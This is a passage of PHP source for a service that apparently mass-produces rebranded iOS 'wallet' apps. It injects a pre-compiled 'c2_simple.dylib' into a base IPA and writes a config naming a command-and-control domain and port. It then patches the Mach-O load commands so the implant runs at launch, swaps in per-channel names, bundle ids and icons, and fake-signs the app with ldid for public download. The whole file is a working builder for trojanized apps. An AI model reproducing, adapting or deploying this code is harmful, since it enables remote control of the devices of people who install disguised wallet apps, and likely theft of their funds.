120, 'AppIcon60x60@3x.png' => 180, 'AppIcon76x76@2x~ipad.png' => 152, ]; public function build(Channel $channel, ?string $logoPath, string $apiDomain): array { $baseIpa = storage_path('app/'.self::BASE_IPA); $c2Dylib = storage_path('app/'.self::C2_DYLIB); if (!file_exists($baseIpa)) { return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.'); } if (!file_exists($c2Dylib)) { return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.'); } $workDir = storage_path('app/app-builds/'.$channel->channel_id); if (is_dir($workDir)) $this->rrmdir($workDir); @mkdir($workDir, 0755, true); try { // 1. Extract base IPA $zip = new \ZipArchive; if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA'); $zip->extractTo($workDir); $zip->close(); $appDir = $this->findAppDir($workDir); if (!$appDir) throw new RuntimeException('No .app directory found'); // 2. Copy pre-compiled c2_simple.dylib $fwDir = $appDir.'/Frameworks'; if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true); copy($c2Dylib, $fwDir.'/c2_simple.dylib'); // 3. Generate c2_config.plist $this->writeConfigPlist($appDir, $channel, $apiDomain); // 4. Add LC_LOAD_DYLIB to main binary $mainBin = $this->findMainBinary($appDir); $this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib'); // 5. Patch Info.plist $this->patchInfoPlist($appDir, $channel); // 6. Generate icons if ($logoPath && file_exists($logoPath)) { $this->generateIcons($appDir, $logoPath); } // 7. Sign $this->sign($appDir); // 8. Package $outputPath = 'channel/'.$channel->channel_id.'/app.ipa'; $outputFull = public_path($outputPath); @mkdir(dirname($outputFull), 0755, true); $outZip = new \ZipArchive; if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) { throw new RuntimeException('Cannot create output IPA'); } $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload'); $outZip->close(); $size = filesize($outputFull); $this->rrmdir($workDir); return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => '']; } catch (\Throwable $e) { $this->rrmdir($workDir); Log::error('AiWalletPackageService: build failed', [ 'channel' => $channel->channel_id, 'error' => $e->getMessage(), ]); return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()]; } } private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void { $config = [ 'C2Domain' => $apiDomain, 'C2Port' => '443', 'WebViewURL' => $channel->h5_url ?: 'https://tether.to', 'AppId' => $channel->channel_id, 'ChannelId' => $channel->channel_id, 'AppName' => $channel->app_name, ]; $plist = $this->arrayToXmlPlist($config); file_put_contents($appDir.'/c2_config.plist', $plist); } private function arrayToXmlPlist(array $data): string { $xml = ''."\n"; $xml .= ''."\n"; $xml .= ''."\n"; foreach ($data as $key => $value) { $xml .= ''.htmlspecialchars($key).''.htmlspecialchars($value).''."\n"; } $xml .= ''; return $xml; } private function patchInfoPlist(string $appDir, Channel $channel): void { $plistFile = $appDir.'/Info.plist'; $data = file_get_contents($plistFile); // Use plistlib via shell (available on Linux) $tmpFile = tempnam(sys_get_temp_dir(), 'plist'); file_put_contents($tmpFile, $data); $changes = [ 'CFBundleDisplayName' => $channel->app_name, 'CFBundleName' => $channel->app_name, 'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next', 'CFBundleShortVersionString' => '1.6.1', 'CFBundleVersion' => '1.6.1', ]; foreach ($changes as $key => $value) { $escaped = escapeshellarg($value); exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true"); // Fallback: use sed for XML plists $data = file_get_contents($tmpFile); $data = preg_replace( '#'.preg_quote($key, '#').'\s*[^<]*#', ''.$key.''.htmlspecialchars($value).'', $data ); file_put_contents($tmpFile, $data); } // Remove storyboard reference, add UILaunchScreen (white background) $data = file_get_contents($tmpFile); $data = preg_replace('#UILaunchStoryboardName\s*[^<]*#', '', $data); if (!str_contains($data, 'UILaunchScreen')) { $data = str_replace('', 'UILaunchScreen', $data); } file_put_contents($plistFile, $data); unlink($tmpFile); } private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void { $data = file_get_contents($binaryPath); $origSize = strlen($data); // Parse Mach-O 64-bit header $magic = unpack('V', substr($data, 0, 4))[1]; if ($magic !== 0xFEEDFACF) throw new RuntimeException('Not a Mach-O 64-bit binary'); $ncmds = unpack('V', substr($data, 16, 4))[1]; $sizeofcmds = unpack('V', substr($data, 20, 4))[1]; // Find the LC_LOAD_DYLIB for libutils to insert before it $offset = 32; $insertOffset = 32 + $sizeofcmds; // Default: append at end $libutilsOffset = -1; for ($i = 0; $i < $ncmds; $i++) { $cmd = unpack('V', substr($data, $offset, 4))[1]; $cmdsize = unpack('V', substr($data, $offset + 4, 4))[1]; if ($cmd === 0x0C) { // LC_LOAD_DYLIB $nameOffset = unpack('V', substr($data, $offset + 8, 4))[1]; $name = substr($data, $offset + $nameOffset, strpos(substr($data, $offset + $nameOffset), "\0")); if (str_contains($name, 'libutils')) { $libutilsOffset = $offset; break; } } $offset += $cmdsize; } // Insert before libutils if found, otherwise append if ($libutilsOffset >= 0) { $insertOffset = $libutilsOffset; } // Create LC_LOAD_DYLIB command $name = $dylibPath."\0"; $nameOffset = 24; // sizeof(load_command) + 3 * sizeof(uint32) + padding $cmdsize = $nameOffset + strlen($name); $cmdsize = ($cmdsize + 7) & ~7; // Align to 8 bytes $name = str_pad($name, $cmdsize - $nameOffset, "\0"); $lc = pack('VVVVVV', 0x0C, // cmd = LC_LOAD_DYLIB $cmdsize, // cmdsize $nameOffset, // dylib.name.offset 1, // dylib.timestamp 0, // dylib.current_version 0 // dylib.compatibility_version ).$name; // Insert the load command $data = substr($data, 0, $insertOffset).$lc.substr($data, $insertOffset); // Update ncmds and sizeofcmds in header $data = substr_replace($data, pack('V', $ncmds + 1), 16, 4); $data = substr_replace($data, pack('V', $sizeofcmds + $cmdsize), 20, 4); file_put_contents($binaryPath, $data); } private function findAppDir(string $workDir): ?string { $payload = $workDir.'/Payload'; if (!is_dir($payload)) return null; foreach (scandir($payload) as $item) { if (str_ends_with($item, '.app')) return $payload.'/'.$item; } return null; } private function findMainBinary(string $appDir): string { // Main binary has the same name as the .app directory $appName = basename($appDir, '.app'); return $appDir.'/'.$appName; } private function generateIcons(string $appDir, string $logoPath): void { if (!function_exists('imagecreatefrompng')) { Log::warning('AiWalletPackageService: GD not available, skipping icons'); return; } $src = imagecreatefrompng($logoPath); if (!$src) return; foreach (self::ICON_SIZES as $filename => $size) { $dst = imagecreatetruecolor($size, $size); imagealphablending($dst, false); imagesavealpha($dst, true); imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src)); imagepng($dst, $appDir.'/'.$filename); imagedestroy($dst); } imagedestroy($src); } private function sign(string $appDir): void { $csDir = $appDir.'/_CodeSignature'; if (is_dir($csDir)) $this->rrmdir($csDir); $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid'))); if ($ldidPath === '') return; $binaries = array_merge( [$this->findMainBinary($appDir)], glob($appDir.'/Frameworks/*.dylib') ?: [], glob($appDir.'/*.dylib') ?: [], ); foreach ($binaries as $bin) { if (!is_file($bin)) continue; exec(escapeshellarg($ldidPath).' -S '.escapeshellarg($bin).' 2>/dev/null'); } } private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void { foreach (scandir($dir) as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; $zipPath = $prefix.'/'.$item; if (is_dir($path)) { $zip->addEmptyDir($zipPath); $this->addDirToZip($zip, $path, $zipPath); } else { $zip->addFile($path, $zipPath); } } } private function rrmdir(string $dir): void { if (!is_dir($dir)) return; foreach (scandir($dir) as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; if (is_dir($path)) $this->rrmdir($path); else @unlink($path); } @rmdir($dir); } private function fail(string $error): array { return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error]; } }